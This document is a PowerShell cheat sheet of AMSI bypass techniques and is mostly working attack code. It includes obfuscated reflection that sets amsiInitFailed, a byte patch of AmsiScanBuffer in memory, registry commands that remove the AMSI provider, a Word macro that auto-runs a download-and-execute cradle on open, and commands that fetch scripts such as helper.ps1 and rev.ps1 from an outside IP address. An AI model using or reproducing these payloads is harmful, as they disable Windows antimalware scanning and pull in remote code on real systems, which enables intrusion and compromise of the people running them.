AMSI Bypass

Property

Links

[Ref].Assembly.GetType('System.Management.Automation.Amsi'+[char]85+'tils').GetField('ams'+[char]105+'InitFailed','NonPublic,Static').SetValue($null,$true)

Random AMSI bypass found on Github (11/5/2021)

${_/==\_/\__/===\_/} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwANAAoAcAB1AGIAbABpAGMAIABjAGwAYQBzAHMAIABXAGkAbgAzADIAIAB7AA0ACgAgACAAIAAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AFAAcgBvAGMAQQBkAGQAcgBlAHMAcwAoAEkAbgB0AFAAdAByACAAaABNAG8AZAB1AGwAZQAsACAAcwB0AHIAaQBuAGcAIABwAHIAbwBjAE4AYQBtAGUAKQA7AA0ACgAgACAAIAAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEwAbwBhAGQATABpAGIAcgBhAHIAeQAoAHMAdAByAGkAbgBnACAAbgBhAG0AZQApADsADQAKACAAIAAgACAAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAA0ACgAgACAAIAAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGIAbwBvAGwAIABWAGkAcgB0AHUAYQBsAFAAcgBvAHQAZQBjAHQAKABJAG4AdABQAHQAcgAgAGwAcABBAGQAZAByAGUAcwBzACwAIABVAEkAbgB0AFAAdAByACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABmAGwATgBlAHcAUAByAG8AdABlAGMAdAAsACAAbwB1AHQAIAB1AGkAbgB0ACAAbABwAGYAbABPAGwAZABQAHIAbwB0AGUAYwB0ACkAOwANAAoAfQA=')))
Add-Type ${_/==\_/\__/===\_/}
${__/=\/==\/\_/=\_/} = [Win32]::LoadLibrary("am" + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwBpAC4AZABsAGwA'))))
${___/====\__/=====} = [Win32]::GetProcAddress(${__/=\/==\/\_/=\_/}, $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQA='))) + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBjAGEAbgA='))) + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgB1AGYAZgBlAHIA'))))
${/==\_/=\/\__/\/\/} = 0
[Win32]::VirtualProtect(${___/====\__/=====}, [uint32]5, 0x40, [ref]${/==\_/=\/\__/\/\/})
${_/\__/=\/\___/==\} = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy(${_/\__/=\/\___/==\}, 0, ${___/====\__/=====}, 6)

[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)

AMSI from CRTP (No longer works)

sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]("{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL)."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ))."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),("{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"(${n`ULl},${t`RuE} )

S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

Change AMSI Key Value to disable it

New-Item 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFF}' -Force; Remove-Item -Path 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}' -Recurse

Remove-Item -Path 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}' -Recurse; New-Item 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFF}' -Force

Word Macro AMSI Bypass

Place contents into a runner .txt script or something else.

Sub DoStuff()
    Dim wsh As Object
    Set wsh = CreateObject("WScript.Shell")
    wsh.Run "powershell iex (New-Object Net.WebClient).DownloadString('https://webserver/runner.txt')"
    Set wsh = Nothing
End Sub

Sub AutoOpen()
    DoStuff
End Sub

iex (New-Object Net.WebClient).DownloadString('http://192.168.3.38:8080/helper.ps1');helper -custom "cmd.exe /c powershell New-Item 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFF}' -Force; Remove-Item -Path 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}' -Recurse; cmd.exe /c powershell -Sta -Nop -Window Hidden -EncodedCommand aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADMALgAzADgALwByAGUAdgAuAHAAcwAxACcAKQA="

Rastamouse's Scan Buff Patch - works as of 10/29/2021

$pqaqa = @"
using System;
using System.Runtime.InteropServices;
public class pqaqa {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr juwlko, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $pqaqa

$dxbmzid = [pqaqa]::LoadLibrary("$(('ãm'+'sî'+'.d'+'ll').normALiZE([cHar](70)+[ChAR]([BYte]0x6f)+[CHAr](114)+[CHAr](109+36-36)+[CHaR](9+59)) -replace [ChAr](92)+[CHar](112)+[Char](123)+[chAR]([BYte]0x4d)+[CHAR]([bytE]0x6e)+[cHar](68+57))")
$whwhfm = [pqaqa]::GetProcAddress($dxbmzid, "$([CHAR]([BYte]0x41)+[CHar](109*104/104)+[cHaR](115)+[CHAR]([BYte]0x69)+[CHaR]([BYtE]0x53)+[CHar]([BYTe]0x63)+[CHaR](36+61)+[cHAr]([bYte]0x6e)+[Char]([BYtE]0x42)+[chAr](117*97/97)+[char](102*100/100)+[Char](71+31)+[cHaR](101*14/14)+[ChAR](109+5))")
$p = 0
[pqaqa]::VirtualProtect($whwhfm, [uint32]5, 0x40, [ref]$p)
$ytmr = "0xB8"
$mjyl = "0x57"
$huyp = "0x00"
$evbj = "0x07"
$uoez = "0x80"
$yvyb = "0xC3"
$yqzbi = [Byte[]] ($ytmr,$mjyl,$huyp,$evbj,+$uoez,+$yvyb)
[System.Runtime.InteropServices.Marshal]::Copy($yqzbi, 0, $whwhfm, 6)